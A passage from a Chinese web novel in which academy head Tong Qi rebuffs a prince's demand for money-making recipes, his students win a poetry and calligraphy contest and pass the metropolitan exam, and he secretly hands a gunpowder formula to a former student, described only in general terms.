正说着,房门外瞬间被人敲响。 齐承胤一把拉开房门,皱着眉头看向屋外。 只见徐家那小儿子带着一群狐朋狗友并一位身着华服的小公子站在门口,见到他,顿时神情瑟缩了一下,但想起什么,又很快硬气起来,上前施礼道。 “徐家徐沐川拜见齐大人,没想到是您在顶层,我们也是奉命带六公子出来转转……” 六公子? 童启好奇的探出头来。 见到他,几个人均愣了愣,似乎没想到齐承胤招待的客人竟然会如此年轻。 旁边的柳姑适时低声介绍到。 “这位……便是华夏书院的山长童启童先生。” “原来是他?” 不等齐承胤说话,那六皇子已经一把推开身边的人,好奇的挤了进来。 满身华彩,绫罗挂饰,在见到童启的长相后,顿时变成了一股玩味的打量。 “你便是童启啊?听说你是善财童子转世,有很多赚钱的法子,是不是骗人的啊?” 童启客客气气行了一礼道。 “不过是乡民误传罢了,在下只是一个平凡的教书之人。今日见到六皇子,不胜荣幸。” 六皇子? 四周围着的侍女、小厮听到这话,已双双瞪大了眼睛,震惊不已,就连齐承胤也眉头微蹙,似没想到会在这里见到皇家的人。 六皇子见童启一语道破自己的身份,也不掩饰,直接往旁边的凳子上一坐,半点没有为客的自觉,坦然的就像是跟自家的小厮宫女说话一般。 “我也是微服出宫,不必多礼。坐。听说你和我三皇兄交好,给他提供了一个什么报纸的方子?诶,我也正缺钱呢,马上就要大婚,又是盖王府又是准备聘礼的,你有什么法子,能快速赚到钱吗?说出来听听,若管用,好处少不了你的!” 见他言语轻浮,一副询问小摊商品价格的样子,齐承胤脸色瞬间黑了起来,就连旁边的徐沐川也有些犹豫之色,不知道该不该劝一劝。 “六皇子,这里不是你能撒野的……” 童启骤然抬手,阻止了齐大人的怒火,他并不生气,一双如墨的瞳孔平静而幽深,饶有兴致般的坐下询问道。 “哦?那不知六皇子想要什么赚钱的法子?” “当然是越快越好,越多越好的了。” 看着面前这个大概与自己同岁,可说话逻辑却尚不及童庆安的人,童启瞬间明白了为什么当今圣上有这么多的皇子却只有老大、老三、老四能拿得出手,争皇位争得最狠了。 他笑盈盈道,“赚钱一般都是从自己擅长的领域入手,六皇子平日里喜欢做什么?” 对面的人思考了一会儿,迟疑道。 “我平时喜欢吃酒、赌博,偶尔射射箭、跑跑马,这算吗?哦,我还有个姐姐,比较受宠,马上也到了大婚的时间……她平日里最喜欢倒腾胭脂水粉一类,所以我偶尔也会给她捎带一些……” “那挺好的啊,既然你喜欢喝酒,要不,我给你个酿酒的方子?我能用普通的水果、高粱酿造出比市面上更好喝便宜的酒水……” 还未说完,六皇子摆摆手,道,“不要那种,太麻烦了。” 一缸酒光是采果、酿造整个程序就得大半年,品质上佳的,更是要等好几年才能出成果,等他酿好了,孩子都快生出来了。 “那我还有一个方法,可以教你种棉花,只要能在东三省普及开来,再运送到南方去织成布匹,便能远销海外……” “娘们唧唧的,织布,那是女人的事情。我不干!” 六皇子再次否决。 童启也不气,继续说道,“那这样,我还有个方子,可以教你从南方的甘蔗中提炼出糖来,如白霜一般晶莹剔透……” 一连几个方法,听得周围的人早已经呼吸急促,就像是见到了真的财神爷一般,恨不得捏着童启的脖颈,让他快点把所有方子都说出来,可六皇子却依旧拒绝道。 “不要不要,那是什么玩意儿,我想要糖,御膳房多的是,干什么非要自己去做?这样吧,你有没有那种直接给我多少钱,让我一夜暴富的法子?” 童启挑了挑眉头,终于体会到了孙悟空求长生时,菩提祖师的无奈感,他摇摇头道,“那只怕只能够在大奉朝刑法律令上去寻找了。” 六皇子顿时失落起来,一副遗憾之态,“罢了,罢了,那就凑合凑合算了,你把方才提到的那些赚钱的方子都写给我吧,大不了,我拿回去,交给其他人去研究去。” 他倒是不傻。 可这言辞间理所当然、颐指气使的样子,仍旧让旁边的人不得已为其捏了一把汗。 齐大人紧盯着童启,不知道这华夏书院以“骂人”出名的山长,到底会如何回答。 只见童启捏起旁边的一盏茶水,轻轻撇了撇上面的浮沫,缓缓开口道。 “可以,但你要拿什么东西来换呢?” “换?” 六皇子神情一滞,似乎没想到这些东西还要自己掏钱,当场便愣在了原地。 童启笑了笑,似难以置信的睁大眼问道。 “不会吧?六殿下竟然这么天真的吗?莫不是以为这世界上这么多东西,都不需要付出代价就可以得到的吧?越贵的东西得来的也就越不易,六皇子想拿到这些,自然得用你手里值得这些价值的东西来交换,不然,我凭什么给你呢?” 即便是皇帝,也没有强抢的吧? 更何况,你还不是皇帝呢。 六皇子险些被气笑了,指着自己,无语道,“你知道我是谁吗?竟然跟我换东西。” “当然。若不是知道的话,我也不会这么说了。” 你以为是个人,就能掏出与这些方子相一致的东西,作为交换的吗? 即便三皇子那边,当初的报纸方子也是用救下曹家一家作为交换的。 他手中,向来不做赔本的买卖。 “好好好,那你说要什么?不然,我给你一块上好的玉。” “不要,所有的金银财宝都是不保值的,若发生战乱,总有买不上粟米的一日。” 童启一口否决。 “那我求父皇给你封个官当当好了。” 童启依旧摇头。 “为官做宰也并非我的夙愿,更何况,陛下已经给我封了龙图阁直学士的身份,我连科举都没有参加,再封,就只能封郡侯了。” 那他和六皇子可就真变成亲戚的关系了…… 六皇子堵了一瞬,无奈道,“那你要什么,总不能我给你块地皮吧?” “您只是皇子,自己的封地还没有呢,又怎么能够给我地皮呢?” 无情的被揭穿后,六皇子的神情已经变得不耐烦起来,“所以说,你到底要什么东西嘛?尽管说,只要你能说出来,我都能给。” 都能给? 童启冷笑一声,仍旧是清清冷冷的那个模样,他摩挲着手里的茶杯,抬眸望向六皇子本人。 神情一点点冷肃下来。 “您确定都能给吗?那我想要百万雄兵,击退契丹边境;想要海晏河清,没有一个庶民再经历死亡;想要徐家自请下台,再不干涉任何政事,想要所有犯了事的外戚勋贵全部被关入大牢,施行应有的惩罚,想要皇子犯法与庶民同罪。六皇子,您能做到吗?” “你大胆!” 旁边的徐沐川心颤着大声喊了出来。 整个顶楼内一片寂静无声,所有人都默默闭上了嘴巴。 六皇子阴暗的直面盯着童启,半晌,甩袖离开。 樊楼内,所有人敛声屏气,恨不得今晚所有的话一句也没听到,心中,则对华夏书院的山长敢于硬刚皇子,而敬佩不已。 齐大人为难的看着六皇子等人离开的背影,说道。 “这六皇子乃是贵妃娘娘的儿子,与四公主同出一脉,只怕你如此嘲讽他,他不会善罢干休的。” 童启自然知道这个道理,与其说那么多,其实不如一句“没有”更加干脆,反正按照对方的智商,他即便直接敷衍过去,六皇子也未必知晓。但他就是不想。那黄龙府死了近十几万的百姓!那边疆不知多少黎民尚挣扎在水深火热之中!可看看这大奉朝的皇子们呢?在做什么?在喝酒、赌博,询问如何一夜暴富的事情? 只是看着那嘴脸,他便已经忍不住了。 他真的要为了这样的朝廷,而付出一辈子的心血吗?他的学生们寒窗苦读数十年,难道就是等待着这样一个抛头颅、洒热血的机会吗? 那也太讽刺了吧? 头一次,童启为自己开书院的决定而感到了动摇。 也为这大奉朝终究不会走向历史上南宋北宋的结局,而感觉到了不确定。 随着六皇子的打岔,原本的火药方子自然不了了之。 齐大人揣度着童启那番话,知道其不只是在跟六皇子说,也是在说给自己听。 什么东西都是有代价的。 即便是华夏书院读书,那也是要收学费的,想让童启将一个足以改变格局战况的大杀器拿出来,那必须得给与他能够与之相匹敌的利益,不然对方又凭什么要公开呢? 没有什么为了天下,就直接伸手去索要的道理。 他需得找到一个让童启心动的东西才行。 可他自己一个人做不到,因此,便找到了他唯一的好友胡爻先那边。 胡丞相如今正忙着女儿亲事的问题,哪里有空去理会这些?听到齐大人的想法,也只是对童启有没有这么一个东西而感到存疑。 能改变战况啊…… 他听了一耳朵,并未放在心上,谁知道是不是自吹自擂的? 童启不过一文人,懂什么武将的事情? 你若真的信以为真,听他指指点点,干涉战况,那才是真正的愚蠢无知呢!与其让他相信一个文人手中有改变天下格局的武器,不如让他相信母猪能够上树,也许还更快一些。 不屑的扯了扯嘴角,胡爻先直接将此事抛掷脑后。 连上禀的想法都无。 而此时,京城内的一家羊肉汤店里,华夏书院的学生们齐聚于此。 “怎么样?我就说吧,京城里数这家的羊肉汤最好喝,那什么樊楼都不过是徒有虚名,还不及咱们州府里的白鹤楼呢!美食,不能只看价格,还要看味道!” 杨舟万语气炫耀道。 “那是!要吃饭还是得去这种当地人最推荐的店里!那什么樊楼,肯定不是因为你没钱,所以请我们去不了的原因。” 常仕进故意调侃着,被旁边的郭胜开一指节敲到了脑袋上,低斥道。 “就你多嘴。” 大家笑看着两个人争吵打闹,低头舀了一口浓汤,果然浓香醇厚,用料十足。 一般平民与士子吃饭的场所,皆分的十分清晰。像是这种苍蝇馆子,虽味道好,可却因为狭窄逼仄,很少有士子踏足,今日一来就来了这么多,还如此态度亲和,自然引得四周邻里街坊,好奇的探头打量着。 店老板是个小老头,佝偻着身子,满脸欣喜与热情,将一叠芝麻烧饼放置在案上,开口道。 “这真是蓬荜生辉啊!一直听杨大人说他的同窗如何如何,今日一见,诸位果然个个俊秀,非同凡响,这是我们店里最受欢迎的芝麻饼子,还请诸位尝尝,看看如何?” 郭胜开等人忙起身谦让道。 “店家不必忙,我们只是随意吃顿饭而已。” 店主忙摇头请他们坐下,道。 “欸,杨大人之前帮了我们多少事,这点小东西,不值几个钱。你们既是杨大人的同窗,那自然也是我的朋友,还请不要客气,不然,就是嫌弃我们,不给我们面子了。” “收下吧,他们家的芝麻烧饼很好吃。” 杨舟万适时的插话道。 郭胜开等人这才为难的接下了手中的烧饼,低声询问着杨舟万到底什么情况。 “不过是那些事,你们知道的,哪里都有地头蛇,之前有几个衙役故意找茬,为难这条街的店铺,我看不下去,所以就帮了一手……” 后面的未尽之意,大家自然晓得。 一时间,几人沉默下来,没想到,京城里竟然也会有如此欺凌之事。 常仕进嘲讽道,“正是天子脚下,这种事才屡禁不止呢。毕竟,这里官比百姓还多嘛。” 又不是每个人都是华夏书院教育出来的。 什么人人平等? 阶级鲜明,弱肉强食,方为外面正常的世界。 想起他们自己也即将步入官场,几个人心中不由暗暗警惕起来,告诫自己不能像那些人一般,出仕后就针对黎民百姓们,忘记了出身。 突然,街道外,传来一阵推搡声。 一个身穿锦衣华服大概二十六七岁的人领着一帮文人士子,嚣张的走了过来。 “谁是华夏书院的人?哪个是华夏书院的人?见到一群文人没有?啊,就是你们吧?” 吴韧与汪启元对视一眼,悄然站起了身。 “在下华夏书院汪启元/吴韧,请问诸位是……” 领头的人头一昂,将一封挑战书塞进了几人怀中,道。 “我乃国子监学生钱书达,特意来领教一下几位的实力。” 吴韧低头瞟了一眼,只 见不止是国子监,挑战的名单上还附录着不少四大书院的人。 看来,来者不善。 汪启元上前一步,妄图转圜一下氛围,道。 “诸位怕是误会了什么?我们无意和大家起争执,临近会考,正是复习的时候,还请大家莫要受到他人的挑唆,耽误时间……” “少废话,你就说敢不敢吧?”那钱书达一口打断道。 “早就听闻华夏书院如何如何,其山长更是生而知之,专教文曲星,我倒想要见识见识,怎么,又不是打架斗殴,不过是以文会友,交流交流罢了,也不敢迎战吗?” “就是,不会是沽名钓誉,没什么实力,所以只敢躲在自己山长后面,狐假虎威的吧?” …… 闻言,常仕进愤怒的上前一步,被刘卜温拦下。 “我倒不知道诸位想领教什么?难道会试考场上还难以见分晓吗?” 队伍后的江云希眼中闪烁,道。 “谁知你们山长那样厉害,会不会偷偷泄题,我们要比自然不比什么赋论之事,要比,就比君子四艺才是!” “对,就比君子四艺!听闻华夏书院惯会死读书,难不成会考试就能算是文人了?算不算文人,得我们说了才行。” “没错,没错!” …… 一群人闹腾着,将小小的饭馆挤得水泄不通,店老板慌张的抱起桌上的碗,不使其被推搡下去打碎。 汪启元艰难的拦住几个靠近的士子,头一回发了火。 “好,你们说怎么比,我们奉陪到底。但此处并非比试之地,我们先离开再说,不要给附近的居民带来麻烦!” …… 赌场内瞬间清空,重新拉起了赌盘来。 “开赌了,开赌了!四大书院围攻华夏学生,比试书画诗词,大家猜一猜到底哪个会赢?” 樊楼里,硕大的大厅被腾了出来,柳姑客客气气的令小厮备好笔墨,然后恭敬的退到一旁。 屋内陡然分为了两拨人,一方是华夏书院的五名学生,杨舟万因为点卯已经上值去了,而另一方,则是四大书院内的佼佼者,同样是此次参与会试的人。 “听闻你家山长曾在年轻时和举人比拼,那我们今日便也来一场,若是你们赢了,那我们便承认你们书院可以与四大书院比肩,但若是输了,那你们就要乖乖的退出会试,并且承认你们华夏书院乃沽名钓誉,有名无实!” “荒唐,你们说退出会试就退出会试,凭什么?” 常仕进不服气道。 事情发展到现在,意图已经十分明显了,这几个人分明就是故意找事,针对他们华夏书院的。 可这条件,也未免开的有些无耻了。 十年寒窗,多少人等的就是这一刻,你说不让参加考试,你谁啊? 汪启元冷静的拉住一旁暴怒的常仕进,问道。 “这赌注,怕是有些不公平吧,我们输,你说要我们退出会试,那你们输,也应该你们退出会试才是。” 那钱书达愣了一秒,狂笑道,“我们输?我们会输?你莫不是没听过我们的名声吧。” 说是比诗词书画。 可他们派出的人却皆是擅长此事的佼佼者。 求真书院的江云希,国子监的钱书达,文昌书院的刘振,龙胜书院的…… 而华夏书院却只有五个人。 以往只听过五个人擅长策论,擅长读书,可却从未听过他们擅长诗画的,更何况,河南府那种学风不胜的地方,连个顶级文人都没有,哪里懂什么文雅之事,即便想学,也未必找得到人教。 只怕,连鉴赏都不一定能做到吧? 心下想着,江云希上前一步,率先答应了下来。 “好,就按你说的来。谁输,谁便退出科考。” 场内场外围观的仕子们皆是一片哗然,但无一人上前阻止。 这是四大书院与华夏书院的意气之争,不论谁嬴谁输,对于他们都只有好事,没有坏事。 减少一个竞争对手嘛,而且还是相当厉害的竞争对手,何乐而不为呢? 因此不少人怂恿着,纷纷支持他们比试一场。 汪启元和吴韧对视了一眼,有些犹豫。 郭胜开一把拉住两人的胳膊,低声警告道。 “不能比!山长还没回来,若是知道了,会气死的!” 可不比能行吗? 店内店外已经被围住了,今日若不有个回应,只怕他们也难以离开,这不止是个人,还代表着背后书院的荣耀之争,若真怂了,以后的同窗学弟们,岂不是要被嘲笑数十年? 汪启元心中思忖,上前一步,率先答应下来。 “好,那便比。但见证人与评委,我们得请公正的人来。” 郭胜开和刘卜温皆是一脸的讶异。 齐府内,童启正和齐承胤对弈着,打听着此届主考官的相关事宜。 门口小厮匆匆跑进来,禀告道。 “不好了!童山长,你们书院的学生被四大书院们围攻,正要开展文斗呢,说是谁输了,谁就退出本届会试科考!” “什么?” 齐承胤一脸讶异的站起身来,怒斥道,“荒唐,这么大的事情,也是能够比试的吗?快让人去阻止他们!” “是……” “慢着……” 童启坐在椅子上,一脸思索问道,“你知道他们比的是什么内容吗?” 那小厮愣了一秒,“听说是诗词书画。” 童启挑了挑眉,从旁边的棋盒里拿起一颗棋子来,“既如此,那不必担忧了,让他们比吧。”??? 小厮一脸惊讶,险些闪了腰。 就连齐承胤也是不敢置信,缓缓瞪大了眼睛。 樊楼内,一炷香缓缓点燃。 柳姑坐在评委席中间,其两边,皆是京都内有名的大儒。 钱书达与汪启元并肩站在桌案前,提笔动墨,等两个人写完,那香也燃尽。 桌案上两幅字笔走龙蛇,劲道十足。 柳姑上前缓缓品味起来。 “恩,这一幅笔墨隽永,饱满大气,不错……至于这一幅……” 柳谷停靠在汪启元的那副字前,缓缓瞪大了眼睛。 其余两位大儒见她愣住,好奇的上前观看,只一眼,也恍然愣在了原地。 “这是……自创字体么?” 只见那整幅字笔画纤细流畅,如铁画银钩,可却刚健有力,不失妍美之资,清俊挺拔,给人一种瘦劲而不失腴润的美感来。 独特而少见。 两人忍不住趴在那字上研究起其走向来,叹为观止,啧啧称奇。 郭胜开摇了摇头,低声跟常仕进讲道。 “看来汪兄是稳赢了,这也就是没让他们看到山长的临摹贴,若是看到,只怕才疯狂呢。” 说来也是巧,童启现代的时候就喜欢练字,各种书体都写的有模有样,北宋虽不存在了,但他最喜欢的字体里,瘦金体仍占据了很大的分量。 一日闲来无事时,便将那临摹过的书贴放到了桌案上,没想到却被学生们看见,嚷嚷着要学。 而汪启元便是其中练的不错的人之一。 钱书达看着一致判赢的大儒们,脸色惨白。 他惊恐的上前两步,看着那独特的字体,难以置信。 “不可能,怎么可能呢?” 他明明听过华夏书院没什么文人雅士来着的啊? 怎么可能输呢? 然而,就像是故意洗刷他们对华夏书院的刻板印象一般,随着文斗一个又一个展开,这几人带给他们的震惊与撼动便越是广博。 郭胜开的诗,那是跟潘阆学的,整日还要感受柳三变的吊打与折磨,怎么可能一般般? 常仕进的画,那是跟童启学的,3d架构,栩栩如生,传神到像是直接把人抠出来一般,对于写意来说,那就是碾压。 刘卜温的词……吴韧的赋…… 越比,便越是令人心惊。 到最后,江云希已经不敢再上场。因为他知道,即便是他,也不可能胜过。 失策了,这群人远比他想象中的难以对付。 汪启元看着对面狂妄无比说要比试的人,如今一脸青灰,难看至极,忍不住浮起一个微笑来。 “胜负我想已分的很明白了。还望诸位遵守承诺,退出此次的科考。” 国子监、求真书院的人皆忍不住颓丧着坐到了地面上,浑身失去了所有力气。 旁边的江云希开口嘲讽道。 “所以,你们是本来就知道,他们比不过你们,还故意同意的?如此咄咄逼人,诱人进入陷阱,恐非君子之道吧?” “那么你们在我们吃饭时,故意找上门挑衅,便是君子之道了?”常仕进出声反驳。“今日若是我们输了,你们也会轻飘飘放过吗?我们不过是以其人之道,还治其人之身罢了,输不起,便不要找那么多理由。” “你!” 跟华夏书院这群善辩的人吵架,那是明摆着找虐。 汪启元等人看了江云希一眼,没有多说什么,便转身离开了。 到底会不会参加会考,他们也管不住,但经此一役,算是彻底没有人嘲笑华夏书院只会死读书了。 事情隔了几日,才传入胡丞相的耳中。 他彼时正翻看着朝中官员们的子女名单,对此,只笑了笑,感叹这些人还是太过于年轻,禁不住激,可翻着翻着,却突然愣住,琢磨了起来。 对啊,这些人不也是少年俊才吗? 好像华夏书院的那几个孩子也尚未成亲呢吧? 那童启难拉拢管束,可他的学生们却仍旧还是白纸一张啊,若是他能将那头几个人拉拢过来,不也是一桩化解华夏书院结党结派的方式之一吗? 胡爻先手中一滞,想了想,直接将自己的管家唤了过来,轻声耳语了几句。 他从未觉得有师生关系是难以挑拨的。 在真正的利益面前,就连父子亲情都 有可能背叛,更何况只是教了几年的学生而已? 既然不听话,那就训到听话为止,只有趁手懂事的兵器,才是真正能用的兵器- 眼看着日子一天天过去,京都内的氛围也越发紧张。 文斗的事,童启并未说什么,也没有评判学生们的“赶尽杀绝”到底是好还是坏。 只让他们安心在府内,少出门,专心复习。 毕竟明枪易躲,暗箭难防,谁知道那些不能科考的学子们疯了之后会再做些什么事情。 就这么半禁闭着,终于到了会考的一日。 考场外,等候围观的家长们远比参与考试的学生们还要多。 各式的车辆马匹、包袱口音,汇聚一处,从早开始,便水泄不通。 礼部的大人们侯在场内,等待着考生们的入场。 大门被封紧了,唯独一侧窄门开启着,用来令学子们进入,检查东西。 不比秋闱乃是一府之人,春闱的盛大,远比任何一场考试都要隆重,天南海北什么出身的都有,上到年迈苍老,下到十五六岁,脸上的紧张与严肃,几乎感染了每个人。 “好好考,不要有压力,即便遇到解不开的问题,也不必死耗,先往后看其他的,注意时间,莫钻牛角尖,明白吗?” 童启拍了拍常仕进等人的肩膀,低声嘱咐着,再三检查了他们拿的东西,确认无遗漏之后,这才将他们送进了会场内。 直到见不到人影,方才收回了视线。 其上心程度,令一旁的杨舟万酸唧唧不已,他开口道。 “山长不必担心,汪启元他们能力上佳,只要发挥正常,定能榜上有名的。 “但愿吧。” 童启默然道。 随着钟声被敲响,全国性的会试考试也正式开启。 此次会试主考官,乃翰林院的吴大人,对方三朝元老,一向端正肃然。 因此其判卷之下的名次,一向是唯才是举。 十分公允。 赌坊内外再次压满了人,皆是预测此届会试榜首到底会花落谁家的。 统共来看,还是压吴韧、汪启元的最多,就连郭胜开也是大热门,毕竟前段时间华夏书院的人刚刚文斗赢了其他四大书院的学生们,因此正值热灶。而真正压国子监与求真书院的却并不多,只寥寥几个。 有那尊崇四大书院地位的人,不免为之不满,喝醉了酒后,仗着无人,便大声的在酒馆内吐槽着。 “会个诗词歌赋算什么能力?不过是偏僻角落里出来的小书院罢了,论底蕴,还是比不上人家四大书院!” “连中四元怎么了?人家求真书院的江云希不也是连中四元?江南文人可是每一届都原胜于北方士子的,真正上了考场,才知道什么叫做自取其辱!” “嗨,谁让人家后台强呢,又是三皇子,又是齐大人的,听说他们书院的山长与柏大将军关系也很好呢,说不得有什么门路呢!” “胡说什么?舞弊之事也敢乱讲?不过这华夏书院一向是外面光,名声响亮,其出来的学生倒是不怎么显眼,那什么杨舟万不就出仕当官么?这都多久了,也没见做出什么成果来啊?远不如他家的山长……” “莫不是故意留了一手,没教给学生吧?” “那也不是没可能啊,不然怎么差距这么大?当官的,还是得看经济庶务,灵活性,会画个画,做个诗什么的,算个屁啊……” 第97章 第97章催婚大军 “嘭”的一声。 隔壁包厢内,杨舟万顿时愤怒的站起了身来,当即便想要出去跟那些说酸话造谣的人理论,却被童启一把拦了下来。 “急什么?反正又不是真的,越是解释,才越是正中他们的下怀呢。” 杨舟万顿时清醒过来。 是啊,外人未必能认得出四大书院的学生,可华夏书院一向盛名在外,却个个明显的很,他若真的出去吵嚷起来,只会显得没有气量,似乎被说中了才会如此恼羞成怒一般。 都怪他,若不是他这一年没有做出什么成绩来,也不至于被其他人那样议论,丢了华夏书院的脸面。 “山长,都是我的错……” 童启抬手制止了他接下来的反省,从怀中掏出张东西,直接递给了他。 “这是什么?” 杨舟万愣愣接过,打开,当看到里面的内容时,眼睛一点点变得铜铃一般。 “这是……这是?” 他握着那张方子,整只手几乎都在颤抖,喉咙里像是堵住了一整团棉花,刺激的说不出半句话来。 “我原本是想要将这个交给齐大人的,但怕到了他手里,也难以达到边疆战士们的手中,反被他人所利用,做一些不好的事情。你如今在军器监,也算得上是专业对口了,这东西就交给你吧,什么时候你觉得适合拿出来了,就将它用在真正值得用的地方。” 童启平静的说道。 比起其他人,他肯定是更相信自己亲手教出来的学生们。 况且,他并非朝中之人,也不知晓战况随时随地的进展情况,既然无法判断这东西出现的时机,不如就把它交给身处于其中,能够判断的人去选择吧。那么,不论这只箭射向哪里,起码,它是对的方向。 在军器监研究了这么久的兵器,杨舟万自然不可能不知道手里的东西杀伤力有多大。 硫磺、硝石、木炭……这些早已经有民间的人拿来做烟花使用。 若按照山长这详细的成分配比,增添的东西,不作他想,肯定是能够无限度将这物品的威力放的更大的,那么若是将其用在战场上,所造成的结果……光是想一想,便令他忍不住头皮发麻。 杨舟万震撼的抬头,看向自家文文弱弱的山长,他从未想过,对方手里竟然还真藏了东西,而且还是这么一个看起来便如此“危险”的东西! 他小心翼翼看了看四周,压低声音问道。 “山长,您跟我说实话,这东西咱们确定真的要交出去吗?若是您不满当前的局势,想要另起山门,我也是能够理解的。” 童启脸色一黑,抬手拍了下他的脑袋。 “另起什么山门?咱们是文臣,又不是 武将,怎么说的跟土匪一般,怎么,你还想造反啊?少废话,拿着就是。” 杨舟万悄然松了口气,笑盈盈的装进自己兜里了。 由于这玩意儿过于危险,初期,他始终怕被人偷去,恨不得里三层外三层缝在衣服里,后来,干脆想了个办法,将其死死背诵下,然后销毁了事,不再留档。 于是,整个大奉朝,杨舟万成为了唯三知道火药精准配方的人。 至于第二个嘛,自然是日日夜夜缠在童启身边,片刻不见便哭成傻子的赵天阙小宝贝。 华夏书院内部。 众人正发愁的看着木床里将近绝食一整日的小娃娃,心底里急得不行。 “这可怎么办啊,即便现在传信给山长,让他往回走,也起码还得走上个大半个月,才能回来呢,这孩子性格倔强,说不吃,肯定是一口都不会吃,怎么能受得了?” 旁边的沈亦道,“要不,咱们就硬灌下去,总不能就这么纵着她吧?都多大了,还缠着山长呢?” “就是,也不觉得羞羞脸!”柳三变故意做鬼脸嘲笑道。 可木床里的人却依旧一动不动,用行动奉行着非暴力不合作。 谢君仪才不惯着她,一把将其抱起来,就想捏着奶瓶子灌下去,直接被赵天阙呸呸呸的拨拉到一边,咬紧了小奶牙,宁死不屈。 倔强的小脸,还带着清晰的泪痕,被强掐出来的红印子,令折继世忍不住打断道。 “罢了,不就是想山长了吗?要不咱们带着她去京城找山长好了。” 赵天阙眼睛骤然亮起,可怜巴巴的看向折继世,指着门外道,“找!” 声音清晰又执着。 王世昌无语的笑出声来,摇摇脑袋,“到底是谁当初出的这么个损招啊,觉得用买糖就能够哄住她,瞧瞧这聪明劲儿,哪里像是一岁的小孩子?” 谢君仪也跟着无奈的妥协下来,双手举过头顶,道,“行行行,算我怕了你了姑奶奶,可咱们去京城,好歹也得准备点什么东西才行吧?你看你师父不是也带了好多行李过去?你先等个几日,别闹,乖乖吃饭,等我们准备好了,就出发,行吧?” 赵天阙忽闪忽闪自己的那双大眼睛,似乎在判断着对方话语中的真假,良久,才终于接过奶瓶子喝了起来。 边喝还边喊道。 “骗,打你!” “行行行,我若是骗你,你就让你王小花姐姐打我,行了吧?” 众人见她被哄住了,这才齐齐松出一口气,悄然退出了房间,同时心里也忍不住感叹道,这哪里是找了个什么小师妹,简直就是活祖宗嘛。 王世昌好奇问道,“谢君仪,你真的要带她去京城找山长啊?” “找什么找?”谢君仪头痛的揉了揉自己的脖子,“先哄上个几天再说,等到了时候,再寻其他办法。” 他翻脸无情道,毫无骗小孩的内疚之心。 其他人不知道小公主的身份,他又不是不知道。 这个时候带赵天阙去京城,那不是上赶着找死呢吗?绝不能去! 就是拖,也要拖到山长回来才行! 角落里的李元昊听到这番话,神色顿时一愣,见无人注意,又悄无声息的退了回去。 屋内,赵天阙掐着腰站在木床上,见到李元昊,顿时“啊啊啊”几声。 李元昊瞅瞅左右,压低声音将方才几人的对话复述了出来,瞬间得到赵天阙浓浓的怒火。 “我就知道!” 她奶声奶气的控诉道,从枕头下拿出藏着的小零食,扔给了对方。 李元昊美滋滋的接过,刚准备打开,又被赵天阙拦了下来。 她撅着屁股翻身下床,吃力的将床底下藏着的小木箱打开,里面装满了各式各样山长哄她时给的婴儿小零食,全是她一点点攒下来的。 “京城!”赵天阙指了指书院门口的方向,“都给你!”又指了指箱子里的零食们。 李元昊犹豫问道,“你的意思是,让我带你去京城?然后这些零食就都归我?” 赵天阙认真的点了点脑袋,一脸严肃。 李元昊看了看箱子里的东西,又看了看今年才刚刚一岁的小师妹,顿时陷入了纠结之中- 会试一共考了三日,京城里各大庙宇的香,也整整燃烧了三日。 结束后,光是捐的香油钱,就几乎需要两个小和尚一起合力抬才能够抬得动的程度,当然,贡献的,也基本上全是这些天参考的文人士子家眷们。 赏春宴上,原本因着会试,无人有心思赴约,可听说王绾儿要出席,不少千金都纷纷盛装前往,想要一睹其美貌。 毕竟作为华夏书院二年级常年的第一名,吴韧身上,实在是背负了太多人的关注,其未过门的妻子,自然也颇引人好奇。 两个人到底怎么走到一起的,因何结缘,当年河南府的灭门案又是怎么回事? 谁说的亲事?听闻吴韧以一枚书院徽章作为信物,表示会迎娶,是否为真? 既然父亲曾是河南府的学政,那见过吴韧,肯定也见过其他华夏书院的学生喽?郭胜开什么模样,汪启元什么性格?其他的二年级学生呢,又有何特长? 一桩桩一件件,她们不像男子,可以随时出门,在闺阁中,自然就靠着这点八卦生存了。 眼见着赴约的人越来越多,举办赏春宴的东主也不得不再次扩大了摆放的座位数量,饶是如此,依旧有很多人没有坐的地方,只能站着。 王颖被一位姑娘直接挤开,退让到角落里,远远看着被围住的王绾儿,眼中闪过一丝浓浓的嫉妒。 谁能想到,原本跟吴韧说亲的并非王绾儿,而是自己呢?若不是她当初执意要求退掉这门婚事,今日坐在人群中,受到众人追捧的,就会是自己了!她咬咬唇,怎么也没想到当初那个知府大人轻轻伸出一只手指便能打杀的小秀才,竟然真的一路过五关斩六将,考到了会试! 早知如此,她怎么也不会将好好的亲事就这么推出去的!这下好了,王绾儿既得了恩,又得了情,这辈子肯定是比她要幸福的多,一想到这里,她整颗心便感觉到郁郁不平起来。 偏偏旁边还有女子在艳羡,道,“听闻吴韧公子已经连中了四元,若是这一次会试也拿下榜首,估摸着便有希望成为历史上第一个六元及第呢,到时候王绾儿姐姐才是真正的风头无两!连诰命也能够直接拿到了!” “哇,那岂不是最年轻的诰命夫人?” 王颖顿时嗤笑一声,忍不住嘲道。 “做什么白日梦,六元及第?你以为是说说就能够拿到的吗?且不说会试可是集齐了全天下的才子们,就说今年夺冠的热门里,可还有着胡丞相的儿子呢,人家什么身份,怎么可能让一个普普通通的庶民拿下榜首?” 王颖说完,整个花园里顿时安静了下来。 原本还在旁边打听着郭胜开喜好的胡薇微,一听这话,顿时大怒的站起身来,反问道。 “什么意思,你的意思是我父亲会为了一个过继的孩子科举舞弊吗?” 王颖顿时一慌,“我不是这意思……” 她没想到胡薇微竟然会在这里,还听到了这番话,刚想解释什么,却被迎面的一巴掌,打的整个脸都偏到了一旁去。 “你打我?” 她捂着脸,瞪大了双眸,无比狼狈。 “你竟然敢打我?我姑父可是五品官员!” “那又如何?我父亲还是丞相呢!你妄议朝政,该打!”胡薇微嚣张道。 又是受气,又是挨打,这一下子,王颖总算是忍不住了,当场便冲上去和她扭打了起来,吓得旁边的王绾儿连忙上前阻拦。 一场好好的宴席,因为女孩子们的斗殴而狼狈结束,整个京都里关于王学政侄女以及胡薇微的彪悍名声,也瞬间甚嚣尘上。 岳灼华并未参与此次的春宴,听到事件后也只是惊讶一瞬,并未放在心上。 她的亲事已经彻底确定了——正是六皇子。 圣旨下来的时候,岳盛天喜的简直在院子里跳了一整支的舞,恨不得全天下的人都知道他把女儿嫁进了皇室里去,所有人都很高兴,唯独她,独自坐在绣楼里发了一整日的呆。她想了很久,脑海里浮现出很多事件,很多人,然而最后,全部化为一声叹息,泯灭在了空气里。 会试的成绩出来的很快,许是圣上不断催促的原因,没几日,黄榜便张贴了出来。 不出意料,吴韧再次拿下榜首。 汪启元紧随其后,获得第二名,郭胜开则是第三。 